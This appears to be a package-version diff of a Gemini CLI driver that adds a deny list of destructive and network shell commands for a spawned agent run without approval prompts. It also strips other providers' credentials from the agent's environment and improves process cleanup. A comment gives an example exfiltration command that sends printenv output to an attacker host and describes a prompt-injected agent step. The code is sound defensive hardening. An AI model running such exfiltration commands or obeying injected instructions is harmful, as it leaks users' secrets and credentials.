patchwork-os 0.2.0-beta.9.canary.92 → 1.1.0-beta.1

package/dist/drivers/gemini/index.js

@@ -1,13 +1,62 @@
 import { spawn } from "node:child_process";
-import { chmodSync, existsSync, readFileSync, unlinkSync, writeFileSync, } from "node:fs";
+import { chmodSync, existsSync, mkdirSync, readFileSync, unlinkSync, writeFileSync, } from "node:fs";
 import { homedir } from "node:os";
 import { isAbsolute, join, resolve } from "node:path";
 import { treeKill } from "../../processTree.js";
 import { ensureCmdShim } from "../../winShim.js";
 import { sanitizeEnv } from "../claude/envSanitizer.js";
 import { splitLines } from "../claude/streamParser.js";
+import { truncateToBytes, truncateUtf8Bytes } from "../outputCap.js";
 import { toProviderTaskOutcome } from "../types.js";
 const OUTPUT_CAP = 50 * 1024;
+/**
+ * Destructive shell-command patterns blocked for every Gemini subprocess run
+ * (drivers-orch-6). GeminiSubprocessDriver spawns with `--approval-mode yolo`,
+ * which disables all interactive approval prompts; without a deny list the
+ * spawned agent can run arbitrary destructive shell commands. Mirrors the
+ * Claude subprocess DENY_LIST (src/drivers/claude/subprocessSettings.ts).
+ *
+ * Gemini CLI excludes command-scoped shell invocations via the
+ * `run_shell_command(<prefix>)` syntax. We write the same list under both
+ * `tools.exclude` (current schema) and top-level `excludeTools` (legacy
+ * schema) so the deny list takes effect across CLI versions.
+ */
+export const GEMINI_SHELL_DENY_PATTERNS = [
+    // Filesystem destruction (all flag orderings Claude Code/Gemini match literally)
+    "run_shell_command(rm -rf)",
+    "run_shell_command(rm -fr)",
+    "run_shell_command(rm -r)",
+    "run_shell_command(rm --recursive)",
+    // Git history / remote destruction
+    "run_shell_command(git push)",
+    "run_shell_command(git tag)",
+    "run_shell_command(gh release)",
+    "run_shell_command(git reset --hard)",
+    "run_shell_command(git clean -f)",
+    "run_shell_command(git clean -d)",
+    "run_shell_command(git clean --force)",
+    // Publishing / release
+    "run_shell_command(npm publish)",
+    "run_shell_command(npm version)",
+    "run_shell_command(yarn publish)",
+    "run_shell_command(pnpm publish)",
+    "run_shell_command(npx semantic-release)",
+    "run_shell_command(npx release-it)",
+    // Privilege escalation
+    "run_shell_command(sudo)",
+    "run_shell_command(chmod 777)",
+    // Arbitrary code execution
+    "run_shell_command(eval)",
+    // Network exfiltration (Tier-0 #3, audit 2026-06-22): block the data-exfil
+    // primitive itself, not just pipe-to-shell. With --approval-mode yolo there
+    // is no confirmation gate, so a prompt-injected step could otherwise run
+    // `curl https://attacker?d=$(printenv)` to ship the whole environment out.
+    "run_shell_command(curl)",
+    "run_shell_command(wget)",
+    // Process termination
+    "run_shell_command(kill -9)",
+    "run_shell_command(pkill)",
+];
 function scrubSecrets(text) {
     return text
         .replace(/AIza[A-Za-z0-9_-]{35}/g, "[REDACTED_API_KEY]")
@@ -56,41 +105,44 @@ export class GeminiSubprocessDriver {
         // ever flips falsy→truthy between the two calls, the gate skips the
         // mutex but _runLocked writes settings.json without a lock.
         const mcp = this.bridgeMcp?.();
-        if (mcp) {
-            // If we're going to mutate ~/.gemini/settings.json, wait for any prior
-            // Gemini run holding the same file to finish first.
-            const prior = GeminiSubprocessDriver.settingsMutex;
-            let releaseLock;
-            const ourLock = new Promise((resolve) => {
-                releaseLock = resolve;
-            });
-            GeminiSubprocessDriver.settingsMutex = ourLock;
-            try {
-                await prior;
-                return await this._runLocked(input, mcp);
-            }
-            finally {
-                releaseLock();
-            }
+        // _runLocked ALWAYS mutates ~/.gemini/settings.json now — to inject the
+        // destructive-command deny list (drivers-orch-6) even when no MCP is
+        // injected — so EVERY run must hold the settings mutex, not just MCP runs.
+        // Wait for any prior Gemini run holding the same file to finish first.
+        const prior = GeminiSubprocessDriver.settingsMutex;
+        let releaseLock;
+        const ourLock = new Promise((resolve) => {
+            releaseLock = resolve;
+        });
+        GeminiSubprocessDriver.settingsMutex = ourLock;
+        try {
+            await prior;
+            return await this._runLocked(input, mcp);
+        }
+        finally {
+            releaseLock();
         }
-        // No mcp injection → no settings file write → no mutex needed.
-        return this._runLocked(input, undefined);
     }
     async _runLocked(input, mcp) {
         const opts = input.providerOptions ?? {};
         const approvalMode = typeof opts.approvalMode === "string" ? opts.approvalMode : "yolo";
-        // Inject bridge MCP into ~/.gemini/settings.json before spawning so the
-        // subprocess can call bridge tools. Gemini CLI reads settings.json at
-        // startup. We snapshot whatever was there before (or remember "absent")
-        // and restore it in a finally block at the end of run() — the bearer
-        // token must NOT outlive this single invocation in a shared-home file.
+        // Mutate ~/.gemini/settings.json before spawning so the subprocess (1) can
+        // call bridge tools when MCP is injected and (2) ALWAYS runs with a
+        // destructive-command deny list (drivers-orch-6). Gemini CLI reads
+        // settings.json at startup. We snapshot whatever was there before (or
+        // remember "absent") and restore it in a finally block at the end of run()
+        // — the deny list and the bearer token must NOT outlive this single
+        // invocation in a shared-home file.
         //
         // URL is rewritten to 127.0.0.1:<port> for the spawned subprocess: the
         // bridge may be bound 0.0.0.0 with a public --issuer-url, but the local
         // child should always dial loopback so neither the URL nor the token
         // ever leave this machine.
+        //
+        // This block runs on EVERY run (not only when mcp is present) so the deny
+        // list is applied even for non-MCP tasks running under --approval-mode yolo.
         let settingsCleanup = null;
-        if (mcp) {
+        {
             const settingsFile = join(homedir(), ".gemini", "settings.json");
             try {
                 let originalContent = null;
@@ -103,22 +155,41 @@ export class GeminiSubprocessDriver {
                 const previousBridgeEntry = Object.hasOwn(mcpServers, "claude-ide-bridge")
                     ? mcpServers["claude-ide-bridge"]
                     : undefined;
-                const localUrl = (() => {
-                    try {
-                        const u = new URL(mcp.url);
-                        // Force loopback — keeps token off the wire even if bridge bound 0.0.0.0
-                        u.hostname = "127.0.0.1";
-                        return u.toString();
-                    }
-                    catch {
-                        return mcp.url;
-                    }
-                })();
-                mcpServers["claude-ide-bridge"] = {
-                    url: localUrl,
-                    headers: { Authorization: `Bearer ${mcp.authToken}` },
+                if (mcp) {
+                    const localUrl = (() => {
+                        try {
+                            const u = new URL(mcp.url);
+                            // Force loopback — keeps token off the wire even if bridge bound 0.0.0.0
+                            u.hostname = "127.0.0.1";
+                            return u.toString();
+                        }
+                        catch {
+                            return mcp.url;
+                        }
+                    })();
+                    mcpServers["claude-ide-bridge"] = {
+                        url: localUrl,
+                        headers: { Authorization: `Bearer ${mcp.authToken}` },
+                    };
+                    settings.mcpServers = mcpServers;
+                }
+                // Apply the destructive-command deny list. Written under both the
+                // current (`tools.exclude`) and legacy (`excludeTools`) keys so the
+                // restriction is honored across Gemini CLI versions. Merge with any
+                // pre-existing excludes so operator-configured denials are preserved.
+                const existingTools = (settings.tools ?? {});
+                const existingToolsExclude = Array.isArray(existingTools.exclude)
+                    ? existingTools.exclude.filter((e) => typeof e === "string")
+                    : [];
+                settings.tools = {
+                    ...existingTools,
+                    exclude: Array.from(new Set([...existingToolsExclude, ...GEMINI_SHELL_DENY_PATTERNS])),
                 };
-                settings.mcpServers = mcpServers;
+                const existingExcludeTools = Array.isArray(settings.excludeTools)
+                    ? settings.excludeTools.filter((e) => typeof e === "string")
+                    : [];
+                settings.excludeTools = Array.from(new Set([...existingExcludeTools, ...GEMINI_SHELL_DENY_PATTERNS]));
+                mkdirSync(join(homedir(), ".gemini"), { recursive: true });
                 writeFileSync(settingsFile, JSON.stringify(settings, null, 2), {
                     mode: 0o600,
                 });
@@ -138,17 +209,27 @@ export class GeminiSubprocessDriver {
                             }
                             return;
                         }
-                        const parsed = JSON.parse(originalContent);
                         if (previousBridgeEntry === undefined) {
+                            // The bridge key did not exist before we ran — restore the
+                            // original bytes verbatim. Re-parsing and re-stringifying would
+                            // normalise formatting and drop any unknown top-level keys or
+                            // non-standard whitespace present in the original file.
+                            writeFileSync(settingsFile, originalContent, {
+                                encoding: "utf-8",
+                                mode: 0o600,
+                            });
+                        }
+                        else {
+                            // The bridge key existed before — restore our previous value
+                            // inside the parsed structure so other keys are preserved.
+                            const parsed = JSON.parse(originalContent);
                             const restoredServers = (parsed.mcpServers ?? {});
-                            if (Object.hasOwn(restoredServers, "claude-ide-bridge")) {
-                                delete restoredServers["claude-ide-bridge"];
-                            }
+                            restoredServers["claude-ide-bridge"] = previousBridgeEntry;
                             parsed.mcpServers = restoredServers;
+                            writeFileSync(settingsFile, JSON.stringify(parsed, null, 2), {
+                                mode: 0o600,
+                            });
                         }
-                        writeFileSync(settingsFile, JSON.stringify(parsed, null, 2), {
-                            mode: 0o600,
-                        });
                         chmodSync(settingsFile, 0o600);
                     }
                     catch (err) {
@@ -178,11 +259,27 @@ export class GeminiSubprocessDriver {
                     args.push("--include-directories", abs);
                 }
             }
-            // Strip MCP_* and CLAUDECODE vars; preserve GEMINI_API_KEY + GOOGLE_* vars
-            const env = sanitizeEnv(process.env);
-            // Also strip Claude-specific auth vars that could confuse Gemini
+            // Strip MCP_* / CLAUDECODE / cross-provider keys (Tier-0 #3), but
+            // PRESERVE the credentials this driver actually authenticates with —
+            // GEMINI_API_KEY plus the GOOGLE_* vars used for API-key / Vertex / ADC
+            // auth. Every other provider's key (OPENAI/XAI/...) is stripped so a
+            // prompt-injected Gemini step can't exfiltrate them.
+            const env = sanitizeEnv(process.env, {
+                preserve: [
+                    "GEMINI_API_KEY",
+                    "GOOGLE_API_KEY",
+                    "GOOGLE_GENAI_API_KEY",
+                    "GOOGLE_APPLICATION_CREDENTIALS",
+                ],
+            });
+            // Also strip Claude-specific auth vars that must not reach the Gemini process.
+            // CLAUDE_CODE_OAUTH_TOKEN is the user's Anthropic subscription token — any
+            // shell command the Gemini agent runs (printenv, curl, etc.) can read it from
+            // the environment (H5, audit 2026-06-19).
             for (const key of Object.keys(env)) {
-                if (key.startsWith("ANTHROPIC_") || key === "CLAUDE_API_KEY") {
+                if (key.startsWith("ANTHROPIC_") ||
+                    key === "CLAUDE_API_KEY" ||
+                    key === "CLAUDE_CODE_OAUTH_TOKEN") {
                     delete env[key];
                 }
             }
@@ -195,17 +292,20 @@ export class GeminiSubprocessDriver {
                 cwd: homedir(),
                 env,
                 signal: input.signal,
+                // Audit 2026-06-03 MEDIUM #13: detached:true makes the child a
+                // process-group leader (setsid on POSIX) so treeKill can send
+                // process.kill(-pid, signal) to kill the entire subtree. Without it,
+                // process.kill(-pid) throws ESRCH (not a group leader) and grandchild
+                // tool-processes spawned by Gemini are orphaned on abort/cancel.
+                // Mirrors the Claude subprocess driver (src/drivers/claude/subprocess.ts).
+                detached: true,
                 stdio: ["ignore", "pipe", "pipe"],
             });
-            // unref() so the bridge can exit without waiting for the subprocess,
-            // but keep detached=false so the subprocess dies cleanly with the bridge
-            // rather than getting SIGPIPE when the pipe closes mid-run.
+            // unref() so the bridge can exit without waiting for the subprocess.
             child.unref();
-            // Tree-kill on abort. Node's signal-driven auto-kill only signals the
-            // immediate child; gemini may spawn tool subprocesses that orphan on
-            // cancellation. On Windows this runs `taskkill /F /T /PID`; on POSIX
-            // (non-detached) it's effectively a no-op since there's no process
-            // group, leaving Node's auto-kill to handle the child.
+            // Tree-kill on abort: kills the immediate child AND its descendants.
+            // On Windows: taskkill /F /T /PID. On POSIX: process.kill(-pid, signal)
+            // (works because detached:true makes the child a process-group leader).
             const onAbort = () => treeKill(child);
             input.signal.addEventListener("abort", onAbort, { once: true });
             child.once("close", () => {
@@ -240,10 +340,13 @@ export class GeminiSubprocessDriver {
                         const text = event.content;
                         accumulated += text;
                         if (outputBytesSent < OUTPUT_CAP) {
-                            const send = text.slice(0, OUTPUT_CAP - outputBytesSent);
+                            // Audit 2026-06-03 (#57): count UTF-8 BYTES, not UTF-16 units, so
+                            // the cap is honored for multi-byte output and chunks never split
+                            // a codepoint.
+                            const { send, bytes } = truncateToBytes(text, OUTPUT_CAP - outputBytesSent);
                             if (send.length > 0) {
                                 input.onChunk?.(send);
-                                outputBytesSent += send.length;
+                                outputBytesSent += bytes;
                             }
                         }
                     }
@@ -254,12 +357,20 @@ export class GeminiSubprocessDriver {
                 }
             });
             let stderr = "";
+            // Audit 2026-06-08 (drivers-5): cap stderr by BYTES, not string length.
+            // setEncoding("utf-8") yields string chunks, so `.length`/`.slice` counted
+            // UTF-16 units and let multi-byte stderr exceed OUTPUT_CAP (and split a
+            // surrogate pair on slice). truncateUtf8Bytes cuts on a byte boundary.
+            let stderrBytes = 0;
             child.stderr.setEncoding("utf-8");
             child.stderr.on("data", (chunk) => {
-                if (stderr.length < OUTPUT_CAP) {
+                if (stderrBytes < OUTPUT_CAP) {
                     stderr += chunk;
-                    if (stderr.length > OUTPUT_CAP)
-                        stderr = stderr.slice(0, OUTPUT_CAP);
+                    stderrBytes += Buffer.byteLength(chunk, "utf-8");
+                    if (stderrBytes > OUTPUT_CAP) {
+                        stderr = truncateUtf8Bytes(stderr, OUTPUT_CAP);
+                        stderrBytes = OUTPUT_CAP;
+                    }
                 }
             });
             const start = Date.now();
@@ -288,7 +399,7 @@ export class GeminiSubprocessDriver {
                     input.signal.aborted;
                 if (isAbort) {
                     return {
-                        text: accumulated.slice(0, OUTPUT_CAP),
+                        text: truncateUtf8Bytes(accumulated, OUTPUT_CAP),
                         durationMs: Date.now() - start,
                         wasAborted: true,
                         startupMs: startupMsOf(),
@@ -299,9 +410,42 @@ export class GeminiSubprocessDriver {
             }
             if (startupHandle)
                 clearTimeout(startupHandle);
+            // Flush any partial line remaining in lineBuf after stdout closes.
+            // splitLines() leaves content without a trailing '\n' in the remainder;
+            // when the subprocess exits without a final newline the last JSON event
+            // (e.g. the last assistant message) is silently dropped. Process it now.
+            if (lineBuf.trim().length > 0) {
+                let event;
+                try {
+                    event = JSON.parse(lineBuf);
+                    if (event.type === "message" &&
+                        event.role === "assistant" &&
+                        event.content) {
+                        if (firstAssistantAt === undefined)
+                            firstAssistantAt = Date.now();
+                        const text = event.content;
+                        accumulated += text;
+                        if (outputBytesSent < OUTPUT_CAP) {
+                            const { send, bytes } = truncateToBytes(text, OUTPUT_CAP - outputBytesSent);
+                            if (send.length > 0) {
+                                input.onChunk?.(send);
+                                outputBytesSent += bytes;
+                            }
+                        }
+                    }
+                    else if (event.type === "result") {
+                        doneFromResult = true;
+                        resultSuccess = event.status === "success";
+                    }
+                }
+                catch {
+                    // Non-JSON remainder — ignore (same as the data handler)
+                }
+                lineBuf = "";
+            }
             if (startupTimedOut) {
                 return {
-                    text: accumulated.slice(0, OUTPUT_CAP),
+                    text: truncateUtf8Bytes(accumulated, OUTPUT_CAP),
                     durationMs: Date.now() - start,
                     wasAborted: true,
                     startupTimedOut: true,
@@ -317,7 +461,7 @@ export class GeminiSubprocessDriver {
                 this.log(`[GeminiSubprocessDriver] stderr: ${stderr.slice(0, 500)}`);
             }
             return {
-                text: accumulated.slice(0, OUTPUT_CAP),
+                text: truncateUtf8Bytes(accumulated, OUTPUT_CAP),
                 exitCode: effectiveExitCode,
                 durationMs: Date.now() - start,
                 stderrTail: stderrTailOf(stderr),

package/dist/drivers/gemini/index.js.map

@@ -1 +1 @@
-{"version":3,"file":"index.js","sourceRoot":"","sources":["../../../src/drivers/gemini/index.ts"],"names":[],"mappings":"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